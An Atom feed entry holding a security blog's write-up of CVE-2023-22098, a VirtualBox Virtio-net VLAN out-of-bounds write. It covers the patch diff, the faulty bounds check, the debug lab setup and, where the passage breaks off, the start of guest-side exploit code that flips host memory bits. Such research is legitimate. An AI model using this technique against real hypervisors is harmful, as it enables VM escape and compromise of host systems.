<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en"><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://diegoaltf4.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://diegoaltf4.com/" rel="alternate" type="text/html" hreflang="en" /><updated>2026-08-09T23:33:36+00:00</updated><id>https://diegoaltf4.com/feed.xml</id><title type="html">DiegoAltF4</title><subtitle>Low-level security dude</subtitle><author><name>Diego Palacios</name></author><entry><title type="html">CVE-2023-22098: Oracle VM VirtualBox 7.0.10 r158379 Escape</title><link href="https://diegoaltf4.com/cve-2023-22098/" rel="alternate" type="text/html" title="CVE-2023-22098: Oracle VM VirtualBox 7.0.10 r158379 Escape" /><published>2024-10-17T08:00:00+00:00</published><updated>2024-10-17T08:00:00+00:00</updated><id>https://diegoaltf4.com/virtualbox-vm-escape-cve-2023-22098</id><content type="html" xml:base="https://diegoaltf4.com/cve-2023-22098/"><![CDATA[<p>Hey VM Wizards, DiegoAltF4 here! Time to unleash some real virtualization magic!</p>

<p>In 2023, the outstanding security researcher <a href="https://x.com/theflow0">Andy Nguyen</a> discovered multiple vulnerabilities
in Virtio-net for VirtualBox. All kudos to him.</p>

<p>In this post, I’ll take you through an in-depth analysis of CVE-2023-22098.
We’ll begin by exploring the vulnerability and diving into some Virtio-net internals. Next, I’ll guide you through
setting up a debugging environment, and we’ll wrap things up by developing a fully reliable PoC that
escapes VirtualBox (it includes an ASLR bypass).</p>

<p>If you run into any issues or have questions, feel free to reach out to me on <a href="https://x.com/Diego_AltF4">X</a>!</p>

<h2 id="virtio-net">Virtio-net</h2>

<p>As mentioned in <sup id="fnref:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>:
“In a nutshell, virtio is an abstraction layer over devices in a paravirtualized hypervisor. virtio was developed by
RustyRussell in support of his own virtualization solution called lguest”.</p>

<p>Virtio was developed as a standardized, open interface to simplify the way virtual machines (VMs) access devices like
block devices and network adapters. Virtio-net, a virtual ethernet card, is one of the most complex devices currently
supported by virtio. As mentioned in <sup id="fnref:2" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> “the communication between the driver in the guest OS and the device in
the hypervisor is done through shared memory (that’s what makes virtio devices so efficient) using specialized data
structures called virtqueues, which are actually ring buffers of buffer descriptors”.</p>

<p>The most common queues in Virtio-net are:</p>

<ul>
  <li>TX Queue (Transmit Queue): Used to send packets from the guest to the host.</li>
  <li>RX Queue (Receive Queue): Used to receive packets from the host to the guest.</li>
</ul>

<p>Additionally, Virtio-net includes a Control Virtqueue (CtrlQ), which is used to send control commands from the guest
to the host. These commands allow the guest to modify or query the configuration of the Virtio-net device, for example,
querying status in real-time.</p>

<p>As mentioned in <sup id="fnref:3" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup>:
“To each guest we can associate a number of virtual CPUs (vCPUs) and the RX/TX queues are created per CPU so a more
elaborated example with 4 vCPUs would look like this (removing the control plane for simplicity)”:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/redhat-diagram.png" alt="Virtio Diagram" width="700" loading="lazy" /></p>

<p>For example, when the guest wants to send a network packet to the host:</p>

<ol>
  <li>The guest places the packet in a shared memory buffer.</li>
  <li>The guest creates a descriptor in the Descriptor Ring, pointing to the buffer holding the packet.</li>
  <li>The guest places the index of the descriptor in the Available Ring, indicating that the buffer is ready for
processing.</li>
  <li>The guest notifies the host by writing to a notification register that a packet is ready for transmission.</li>
  <li>The host reads the buffer, transmits the packet, and places the descriptor index in the Used Ring to indicate that
processing is complete. Optionally, the host generates an interrupt to notify the guest that the buffer can be reused.</li>
</ol>

<p>For much more information, I recommend checking <sup id="fnref:2:1" role="doc-noteref"><a href="#fn:2" class="footnote" rel="footnote">2</a></sup> <sup id="fnref:3:1" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> <sup id="fnref:4" role="doc-noteref"><a href="#fn:4" class="footnote" rel="footnote">4</a></sup>.</p>

<h2 id="vulnerability-analysis">Vulnerability Analysis</h2>

<p>Let’s start by taking a look at the <a href="https://www.oracle.com/security-alerts/cpuoct2023.html">Oracle Critical Patch Update Advisory - October 2023</a>:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/oracle_risk_matrix.png" alt="Oracle Risk Matrix" width="1000" loading="lazy" /></p>

<p>As you can see, the versions affected are prior to 7.0.12. Therefore, according to the <a href="https://www.virtualbox.org/wiki/Download_Old_Builds_7_0">Virtualbox Download Page</a>,
the latest vulnerable version is 7.0.10.</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/old_builds.png" alt="Old builds" width="600" loading="lazy" /></p>

<p>I like to start doing a simple diff to obtain a big picture of the situation. In this case, the principal file
related to Virtio-net is <code class="language-plaintext highlighter-rouge">src/VBox/Devices/Network/DevVirtioNet.cpp</code>. Mainly two functions include significant changes:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">static uint8_t virtioNetR3CtrlMultiQueue(PVIRTIONET pThis, PVIRTIONETCC pThisCC, PPDMDEVINS pDevIns, PVIRTIONET_CTRL_HDR_T pCtrlPktHdr, PVIRTQBUF pVirtqBuf)
</span><span class="err">{</span>
    LogFunc(("[%s] Processing CTRL MQ command\n", pThis-&gt;szInst));
    uint16_t cVirtqPairs;
    switch(pCtrlPktHdr-&gt;uCmd)
    {
        case VIRTIONET_CTRL_MQ_VQ_PAIRS_SET:
        {
<span class="gd">-            size_t cbRemaining = pVirtqBuf-&gt;cbPhysSend - sizeof(*pCtrlPktHdr);
</span><span class="gi">+            size_t cbRemaining = pVirtqBuf-&gt;cbPhysSend;
</span>
-            AssertMsgReturn(cbRemaining &gt; sizeof(cVirtqPairs),
<span class="gi">+            AssertMsgReturn(cbRemaining &gt;= sizeof(cVirtqPairs),
</span>                ("DESC chain too small for VIRTIONET_CTRL_MQ cmd processing"), VIRTIONET_ERROR);

            /* Fetch number of virtq pairs from guest buffer */
            virtioCoreR3VirtqBufDrain(&amp;pThis-&gt;Virtio, pVirtqBuf, &amp;cVirtqPairs, sizeof(cVirtqPairs));

-            AssertMsgReturn(cVirtqPairs &gt; VIRTIONET_MAX_QPAIRS,
<span class="gi">+            AssertMsgReturn(cVirtqPairs &lt;= VIRTIONET_MAX_QPAIRS,
</span>                ("[%s] Guest CTRL MQ virtq pair count out of range [%d])\n", pThis-&gt;szInst, cVirtqPairs), VIRTIONET_ERROR);

            LogFunc(("[%s] Guest specifies %d VQ pairs in use\n", pThis-&gt;szInst, cVirtqPairs));
            pThis-&gt;cVirtqPairs = cVirtqPairs;
            break;
        }
        default:
            LogRelFunc(("Unrecognized multiqueue subcommand in CTRL pkt from guest\n"));
            return VIRTIONET_ERROR;
    }

[Truncated]

static uint8_t virtioNetR3CtrlVlan(PVIRTIONET pThis, PVIRTIONET_CTRL_HDR_T pCtrlPktHdr, PVIRTQBUF pVirtqBuf)
<span class="err">{</span>
    LogFunc(("[%s] Processing CTRL VLAN command\n", pThis-&gt;szInst));

    uint16_t uVlanId;
<span class="gd">-    size_t cbRemaining = pVirtqBuf-&gt;cbPhysSend - sizeof(*pCtrlPktHdr);
</span><span class="gi">+    size_t cbRemaining = pVirtqBuf-&gt;cbPhysSend;
</span>
-    AssertMsgReturn(cbRemaining &gt; sizeof(uVlanId),
<span class="gi">+    AssertMsgReturn(cbRemaining &gt;= sizeof(uVlanId),
</span>        ("DESC chain too small for VIRTIONET_CTRL_VLAN cmd processing"), VIRTIONET_ERROR);

    /* Fetch VLAN ID from guest buffer */
    virtioCoreR3VirtqBufDrain(&amp;pThis-&gt;Virtio, pVirtqBuf, &amp;uVlanId, sizeof(uVlanId));

-    AssertMsgReturn(uVlanId &gt; VIRTIONET_MAX_VLAN_ID,
<span class="gi">+    AssertMsgReturn(uVlanId &lt; VIRTIONET_MAX_VLAN_ID,
</span>        ("%s VLAN ID out of range (VLAN ID=%u)\n", pThis-&gt;szInst, uVlanId), VIRTIONET_ERROR);

    LogFunc(("[%s] uCommand=%u VLAN ID=%u\n", pThis-&gt;szInst, pCtrlPktHdr-&gt;uCmd, uVlanId));

    switch (pCtrlPktHdr-&gt;uCmd)
    {
        case VIRTIONET_CTRL_VLAN_ADD:
            ASMBitSet(pThis-&gt;aVlanFilter, uVlanId);
            break;
        case VIRTIONET_CTRL_VLAN_DEL:
            ASMBitClear(pThis-&gt;aVlanFilter, uVlanId);
            break;
        default:
            LogRelFunc(("Unrecognized VLAN subcommand in CTRL pkt from guest\n"));
            return VIRTIONET_ERROR;
    }
    return VIRTIONET_OK;
<span class="err">}</span>
</code></pre></div></div>

<p>The changes in <code class="language-plaintext highlighter-rouge">AssertMsgReturn</code> quickly caught my attention. Here’s how it’s implemented:</p>

<p class="code-title">include/iprt/assert.h</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"># define AssertMsgReturn(expr, a, rc) \
    do { \
        if (RT_LIKELY(!!(expr))) \
        { </span><span class="cm">/* likely */</span><span class="cp"> } \
        else \
            return (rc); \
    } while (0)
#endif
</span></code></pre></div></div>

<p>Let’s break it down. The macro evaluates the expression <code class="language-plaintext highlighter-rouge">expr</code>:</p>

<ul>
  <li>If <code class="language-plaintext highlighter-rouge">expr</code> evaluates to true, nothing happens (the if block is empty).</li>
  <li>If <code class="language-plaintext highlighter-rouge">expr</code> evaluates to false, the else block executes, returning the value <code class="language-plaintext highlighter-rouge">rc</code>.</li>
</ul>

<p>Now, here’s an interesting bug: we can set <code class="language-plaintext highlighter-rouge">cVirtqPairs &gt; VIRTIONET_MAX_QPAIRS</code> or <code class="language-plaintext highlighter-rouge">uVlanId &gt; VIRTIONET_MAX_VLAN_ID</code>.</p>

<p>After considering the possibility of abusing <code class="language-plaintext highlighter-rouge">cVirtqPairs &gt; VIRTIONET_MAX_QPAIRS</code>, I turned my focus to the second case
(<code class="language-plaintext highlighter-rouge">uVlanId &gt; VIRTIONET_MAX_VLAN_ID</code>) where it can be seen that the value of <code class="language-plaintext highlighter-rouge">uVlanId</code> is passed to the functions
<code class="language-plaintext highlighter-rouge">ASMBitSet</code> and <code class="language-plaintext highlighter-rouge">ASMBitClear</code>. These functions do the following:</p>

<p class="code-title">src/VBox/Runtime/common/asm/asm-fake.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RTDECL</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">ASMBitSet</span><span class="p">(</span><span class="k">volatile</span> <span class="kt">void</span> <span class="o">*</span><span class="n">pvBitmap</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">iBit</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="k">volatile</span> <span class="o">*</span><span class="n">pau8Bitmap</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="k">volatile</span> <span class="o">*</span><span class="p">)</span><span class="n">pvBitmap</span><span class="p">;</span>
    <span class="n">pau8Bitmap</span><span class="p">[</span><span class="n">iBit</span> <span class="o">/</span> <span class="mi">8</span><span class="p">]</span> <span class="o">|=</span> <span class="p">(</span><span class="kt">uint8_t</span><span class="p">)</span><span class="n">RT_BIT_32</span><span class="p">(</span><span class="n">iBit</span> <span class="o">&amp;</span> <span class="mi">7</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p class="code-title">src/VBox/Runtime/common/asm/asm-fake.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">RTDECL</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span> <span class="n">ASMBitClear</span><span class="p">(</span><span class="k">volatile</span> <span class="kt">void</span> <span class="o">*</span><span class="n">pvBitmap</span><span class="p">,</span> <span class="kt">int32_t</span> <span class="n">iBit</span><span class="p">)</span>
<span class="p">{</span>
    <span class="kt">uint8_t</span> <span class="k">volatile</span> <span class="o">*</span><span class="n">pau8Bitmap</span> <span class="o">=</span> <span class="p">(</span><span class="kt">uint8_t</span> <span class="k">volatile</span> <span class="o">*</span><span class="p">)</span><span class="n">pvBitmap</span><span class="p">;</span>
    <span class="n">pau8Bitmap</span><span class="p">[</span><span class="n">iBit</span> <span class="o">/</span> <span class="mi">8</span><span class="p">]</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="p">((</span><span class="kt">uint8_t</span><span class="p">)</span><span class="n">RT_BIT_32</span><span class="p">(</span><span class="n">iBit</span> <span class="o">&amp;</span> <span class="mi">7</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>These functions rely on bitwise operations to manipulate the bits in the <code class="language-plaintext highlighter-rouge">pThis-&gt;aVlanFilter</code> array. Specifically:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">ASMBitSet</code> sets the bit in the bitmap.</li>
  <li><code class="language-plaintext highlighter-rouge">ASMBitClear</code> clears the bit.</li>
</ul>

<p>This seemed more promising for exploitation, as it involves an out-of-bounds write
in the <code class="language-plaintext highlighter-rouge">VIRTIONET</code> structure:</p>

<p class="code-title">src/VBox/Devices/Network/DevVirtioNet.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">typedef</span> <span class="k">struct</span> <span class="n">VIRTIONET</span>
<span class="p">{</span>
    <span class="cm">/** The core virtio state.   */</span>
    <span class="n">VIRTIOCORE</span>              <span class="n">Virtio</span><span class="p">;</span>

    <span class="cm">/** Virtio device-specific configuration */</span>
    <span class="n">VIRTIONET_CONFIG_T</span>      <span class="n">virtioNetConfig</span><span class="p">;</span>

    <span class="cm">/** Per device-bound virtq worker-thread contexts (eventq slot unused) */</span>
    <span class="n">VIRTIONETWORKER</span>         <span class="n">aWorkers</span><span class="p">[</span><span class="n">VIRTIONET_MAX_VIRTQS</span><span class="p">];</span>

    <span class="cm">/** Track which VirtIO queues we've attached to */</span>
    <span class="n">VIRTIONETVIRTQ</span>          <span class="n">aVirtqs</span><span class="p">[</span><span class="n">VIRTIONET_MAX_VIRTQS</span><span class="p">];</span> <span class="c1">// out-of-bounds write</span>

    <span class="cm">/** PDM device Instance name */</span>
    <span class="kt">char</span>                    <span class="n">szInst</span><span class="p">[</span><span class="mi">16</span><span class="p">];</span>

    <span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

    <span class="cm">/** MAC address obtained from the configuration. */</span>
    <span class="n">RTMAC</span>                   <span class="n">macConfigured</span><span class="p">;</span>

    <span class="cm">/** Bit array of VLAN filter, one bit per VLAN ID. */</span>
    <span class="kt">uint8_t</span>                 <span class="n">aVlanFilter</span><span class="p">[</span><span class="n">VIRTIONET_MAX_VLAN_ID</span> <span class="o">/</span> <span class="k">sizeof</span><span class="p">(</span><span class="kt">uint8_t</span><span class="p">)];</span>

    <span class="cm">/** Set if PDM leaf device at the network interface is starved for Rx buffers */</span>
    <span class="n">bool</span> <span class="k">volatile</span>           <span class="n">fLeafWantsEmptyRxBufs</span><span class="p">;</span>

    <span class="cm">/** Number of packet being sent/received to show in debug log. */</span>
    <span class="kt">uint32_t</span>                <span class="n">uPktNo</span><span class="p">;</span>

    <span class="cm">/** Flags whether VirtIO core is in ready state */</span>
    <span class="kt">uint8_t</span>                 <span class="n">fVirtioReady</span><span class="p">;</span>

    <span class="cm">/** Resetting flag */</span>
    <span class="kt">uint8_t</span>                 <span class="n">fResetting</span><span class="p">;</span>

    <span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

<span class="p">}</span> <span class="n">VIRTIONET</span><span class="p">;</span>
</code></pre></div></div>

<h2 id="setting-up-the-lab">Setting up the lab</h2>

<p>We’ll focus on developing the exploit for the debug version of VirtualBox, as it provides access to all symbols,
making it easier to analyze and understand the exploitation process.</p>

<p>The source code for the latest vulnerable version can be obtained <a href="https://download.virtualbox.org/virtualbox/7.0.10/VirtualBox-7.0.10.tar.bz2">here</a>.
Both my host operating system and my guest operating system are Ubuntu 20.04.6 LTS.</p>

<p><a href="https://www.virtualbox.org/wiki/Linux%20build%20instructions">This guide</a> outlines the steps for building VirtualBox
with debug symbols.</p>

<p>Once the required packages have been installed, the following commands need to be executed:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">ln</span> <span class="nt">-s</span> libX11.so.6    /usr/lib32/libX11.so
<span class="nb">ln</span> <span class="nt">-s</span> libXTrap.so.6  /usr/lib32/libXTrap.so
<span class="nb">ln</span> <span class="nt">-s</span> libXt.so.6     /usr/lib32/libXt.so
<span class="nb">ln</span> <span class="nt">-s</span> libXtst.so.6   /usr/lib32/libXtst.so
<span class="nb">ln</span> <span class="nt">-s</span> libXmu.so.6    /usr/lib32/libXmu.so
<span class="nb">ln</span> <span class="nt">-s</span> libXext.so.6   /usr/lib32/libXext.so
</code></pre></div></div>

<p>And finally:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">chmod</span> +x configure
<span class="nb">chmod</span> +x kBuild/bin/linux.amd64/k<span class="k">*</span>
./configure <span class="nt">--disable-hardening</span>
<span class="nb">source</span> ./env.sh
kmk <span class="nv">BUILD_TYPE</span><span class="o">=</span>debug
</code></pre></div></div>

<p>ASAN can be enabled with:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>kmk <span class="nv">BUILD_TYPE</span><span class="o">=</span>debug <span class="nv">VBOX_WITH_GCC_SANITIZER</span><span class="o">=</span>1
</code></pre></div></div>

<p>The virtual machine can be launched with the command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./VirtualBoxVM <span class="nt">--startvm</span> &lt;vm-name&gt;
</code></pre></div></div>

<p>To configure the VM, we need to modify the network adapter type and select virtio-net:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/network-config.png" alt="Adapter Type" width="600" loading="lazy" /></p>

<p>Once configured, we can verify that everything is working correctly by running the following command:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lspci <span class="nt">-v</span>
</code></pre></div></div>

<p>If successful, the device should appear as shown below:</p>

<p><img class="post-img" src="/assets/posts/cve-2023-22098/pci_virtio.png" alt="Virtio-net device" width="768" loading="lazy" /></p>

<p>As mentioned in <sup id="fnref:1:1" role="doc-noteref"><a href="#fn:1" class="footnote" rel="footnote">1</a></sup>:</p>

<blockquote>
  <p>When using PCI as a transport method, the device will present itself on the PCI bus with vendor 0x1af4 (Red Hat, Inc.)
and device id 0x1003 (virtio console), as defined in the spec, so the kernel will detect it as it would do with any
other PCI device.</p>
</blockquote>

<h2 id="writing-the-exploit">Writing the exploit</h2>

<p>Now that we know where the bug is located and have a functional debugging environment, we can start attempting to
exploit the bug, with the goal of escaping from the virtual machine.</p>

<h3 id="triggering-the-bug">Triggering the bug</h3>

<p>To trigger the bug, we need to reach the <code class="language-plaintext highlighter-rouge">virtioNetR3CtrlVlan</code> <strong>function</strong> and specify a value of
<code class="language-plaintext highlighter-rouge">uVlanId</code> &gt; <code class="language-plaintext highlighter-rouge">VIRTIONET_MAX_VLAN_ID</code>. The function responsible for calling <code class="language-plaintext highlighter-rouge">virtioNetR3CtrlVlan</code> is <code class="language-plaintext highlighter-rouge">virtioNetR3Ctrl</code>,
which handles processing control commands from the guest. It’s invoked by worker for virtio-net control queue to
process a queued control command buffer:</p>

<p class="code-title">src/VBox/Devices/Network/DevVirtioNet.cpp</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">static</span> <span class="kt">void</span> <span class="nf">virtioNetR3Ctrl</span><span class="p">(</span><span class="n">PPDMDEVINS</span> <span class="n">pDevIns</span><span class="p">,</span> <span class="n">PVIRTIONET</span> <span class="n">pThis</span><span class="p">,</span> <span class="n">PVIRTIONETCC</span> <span class="n">pThisCC</span><span class="p">,</span>
                            <span class="n">PVIRTQBUF</span> <span class="n">pVirtqBuf</span><span class="p">)</span>
<span class="p">{</span>

    <span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

    <span class="cm">/*
     * Allocate buffer and read in the control command
     */</span>
    <span class="n">AssertMsgReturnVoid</span><span class="p">(</span><span class="n">pVirtqBuf</span><span class="o">-&gt;</span><span class="n">cbPhysSend</span> <span class="o">&gt;=</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">VIRTIONET_CTRL_HDR_T</span><span class="p">),</span>
                        <span class="p">(</span><span class="s">"DESC chain too small for CTRL pkt header"</span><span class="p">));</span>

    <span class="n">VIRTIONET_CTRL_HDR_T</span> <span class="n">CtrlPktHdr</span><span class="p">;</span> <span class="n">RT_ZERO</span><span class="p">(</span><span class="n">CtrlPktHdr</span><span class="p">);</span>
    <span class="n">virtioCoreR3VirtqBufDrain</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pThis</span><span class="o">-&gt;</span><span class="n">Virtio</span><span class="p">,</span> <span class="n">pVirtqBuf</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CtrlPktHdr</span><span class="p">,</span>
                                <span class="n">RT_MIN</span><span class="p">(</span><span class="n">pVirtqBuf</span><span class="o">-&gt;</span><span class="n">cbPhysSend</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">CtrlPktHdr</span><span class="p">)));</span>

    <span class="n">Log7Func</span><span class="p">((</span><span class="s">"[%s] CTRL COMMAND: class=%d command=%d</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pThis</span><span class="o">-&gt;</span><span class="n">szInst</span><span class="p">,</span> <span class="n">CtrlPktHdr</span><span class="p">.</span><span class="n">uClass</span><span class="p">,</span> <span class="n">CtrlPktHdr</span><span class="p">.</span><span class="n">uCmd</span><span class="p">));</span>

    <span class="kt">uint8_t</span> <span class="n">uAck</span><span class="p">;</span>
    <span class="k">switch</span> <span class="p">(</span><span class="n">CtrlPktHdr</span><span class="p">.</span><span class="n">uClass</span><span class="p">)</span>
    <span class="p">{</span>
        <span class="k">case</span> <span class="n">VIRTIONET_CTRL_RX</span><span class="p">:</span>
            <span class="n">uAck</span> <span class="o">=</span> <span class="n">virtioNetR3CtrlRx</span><span class="p">(</span><span class="n">pThis</span><span class="p">,</span> <span class="n">pThisCC</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CtrlPktHdr</span><span class="p">,</span> <span class="n">pVirtqBuf</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">VIRTIONET_CTRL_MAC</span><span class="p">:</span>
            <span class="n">uAck</span> <span class="o">=</span> <span class="n">virtioNetR3CtrlMac</span><span class="p">(</span><span class="n">pThis</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CtrlPktHdr</span><span class="p">,</span> <span class="n">pVirtqBuf</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">VIRTIONET_CTRL_VLAN</span><span class="p">:</span>
            <span class="n">uAck</span> <span class="o">=</span> <span class="n">virtioNetR3CtrlVlan</span><span class="p">(</span><span class="n">pThis</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CtrlPktHdr</span><span class="p">,</span> <span class="n">pVirtqBuf</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">VIRTIONET_CTRL_MQ</span><span class="p">:</span>
            <span class="n">uAck</span> <span class="o">=</span> <span class="n">virtioNetR3CtrlMultiQueue</span><span class="p">(</span><span class="n">pThis</span><span class="p">,</span> <span class="n">pThisCC</span><span class="p">,</span> <span class="n">pDevIns</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">CtrlPktHdr</span><span class="p">,</span> <span class="n">pVirtqBuf</span><span class="p">);</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="k">case</span> <span class="n">VIRTIONET_CTRL_ANNOUNCE</span><span class="p">:</span>
            <span class="n">uAck</span> <span class="o">=</span> <span class="n">VIRTIONET_OK</span><span class="p">;</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">FEATURE_DISABLED</span><span class="p">(</span><span class="n">STATUS</span><span class="p">)</span> <span class="o">||</span> <span class="n">FEATURE_DISABLED</span><span class="p">(</span><span class="n">GUEST_ANNOUNCE</span><span class="p">))</span>
            <span class="p">{</span>
                <span class="n">LogFunc</span><span class="p">((</span><span class="s">"%s Ignoring CTRL class VIRTIONET_CTRL_ANNOUNCE.</span><span class="se">\n</span><span class="s">"</span>
                         <span class="s">"VIRTIO_F_STATUS or VIRTIO_F_GUEST_ANNOUNCE feature not enabled</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pThis</span><span class="o">-&gt;</span><span class="n">szInst</span><span class="p">));</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
            <span class="k">if</span> <span class="p">(</span><span class="n">CtrlPktHdr</span><span class="p">.</span><span class="n">uCmd</span> <span class="o">!=</span> <span class="n">VIRTIONET_CTRL_ANNOUNCE_ACK</span><span class="p">)</span>
            <span class="p">{</span>
                <span class="n">LogFunc</span><span class="p">((</span><span class="s">"[%s] Ignoring CTRL class VIRTIONET_CTRL_ANNOUNCE. Unrecognized uCmd</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pThis</span><span class="o">-&gt;</span><span class="n">szInst</span><span class="p">));</span>
                <span class="k">break</span><span class="p">;</span>
            <span class="p">}</span>
<span class="cp">#if FEATURE_OFFERED(STATUS)
</span>            <span class="n">pThis</span><span class="o">-&gt;</span><span class="n">virtioNetConfig</span><span class="p">.</span><span class="n">uStatus</span> <span class="o">&amp;=</span> <span class="o">~</span><span class="n">VIRTIONET_F_ANNOUNCE</span><span class="p">;</span>
<span class="cp">#endif
</span>            <span class="n">Log7Func</span><span class="p">((</span><span class="s">"[%s] Clearing VIRTIONET_F_ANNOUNCE in config status</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">pThis</span><span class="o">-&gt;</span><span class="n">szInst</span><span class="p">));</span>
            <span class="k">break</span><span class="p">;</span>
        <span class="nl">default:</span>
            <span class="n">LogRelFunc</span><span class="p">((</span><span class="s">"Unrecognized CTRL pkt hdr class (%d)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">CtrlPktHdr</span><span class="p">.</span><span class="n">uClass</span><span class="p">));</span>
            <span class="n">uAck</span> <span class="o">=</span> <span class="n">VIRTIONET_ERROR</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The value of <code class="language-plaintext highlighter-rouge">uClass</code> from the <code class="language-plaintext highlighter-rouge">CtrlPktHdr</code> structure is evaluated in a switch statement. This <code class="language-plaintext highlighter-rouge">uClass</code> represents the
type of control command being processed. Depending on its value, different functions are called to handle the specific
control command.</p>

<p>Therefore, in our exploit, we can do the following:</p>

<p class="code-title">exploit.c</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code>
<span class="p">[</span><span class="n">Truncated</span><span class="p">]</span>

<span class="k">if</span> <span class="p">(</span><span class="n">value</span> <span class="o">&amp;</span> <span class="p">(</span><span class="mi">1ULL</span> <span class="o">&lt;&lt;</span> <span class="n">i</span><span class="p">))</span>
    <span class="n">cmd</span> <span class="o">=</span> <span class="n">VIRTIONET_CTRL_VLAN_ADD</span><span class="p">;</span>
<span class="k">else</span>
    <span class="n">cmd</span> <span class="o">=</span> <span class="n">VIRTIONET_CTRL_VLAN_DEL</span><span class="p">;</span>

<span class="c1">// Setting the control header</span>
<span class="n">dev</span><span class="o">-&gt;</span><span class="n">ctrl</span><span class="o">-&gt;</span><span class="n">hdr</span><span class="p">.</span><span class="n">class</span> <span class="o">=</span> <span class="n">VIRTIONET_CTRL_VLAN</span><span class="p">;</span>
<span class="n">dev</span><span class="o">-&gt;</span><span class="n">ctrl</span><span class="o">-&gt;</span><span class="n">hdr</span><span class="p">.</span><span class="n">cmd</span>   <span class="o">=</span> <span class="n">cmd</span><span class="p">;</span>
<span class="n">dev</span><span class="o">-&gt;</span><span class="n">ctrl</span><span class="o">-&gt;</span><span class="n">vlanId</span>    <span class="o">=</span> <span class="n">cpu_to_virtio16</span><span class="p">(</span><span class="n">vdev</span><span class="p">,</span> <span class="n">offset</span> <span class="o">*</span> <span class="mi">8</span> <span class="o">+</span> <span class="n">i</span><span class="p">);</span>

<span class="c1">// Initialize scatterlist</span>
<span class="n">sg_init_one</span><span class="p">(</span><span class="o">&amp;</span><span class="n">sgs</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="n">dev</span><span class="o">-&gt;</span><span class="n">ctrl</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">command_entry</span><span class="p">)</span> <span class="o">+</span> <span class="mi">4</span><span class="p">);</span>
<span class="n">psgs</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">sgs</span><span class="p">[</span><span class="mi">0</span><span class="p">];</span>

<span class="c1">// Add the buffer to the control queue</span>
<span class="n">virtqueue_add_sgs</span><span class="p">(</span><span class="n">dev</span><span class="o">-&gt;</span><span class="n">vqueues</span><span class="p">[</span><span class="mi">2</span><span class="p">],</span> <span class="n">psgs</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">dev</span><span class="p">,</span> <span class="n">GFP_KERNEL</span><span class="p">);</span>

<span class="c1">// Kick queue to process the command</span>
<span class="n">virtqueue_kick</span><span class="p">(</span><span class="n">dev</span><span class="o">-&gt;</span><span class="n">vqueues</span><span class="p">[</span><span class="mi">2</span><span class="p">]);</span>

<span class="c1">// Wait for the command to be processed</span>
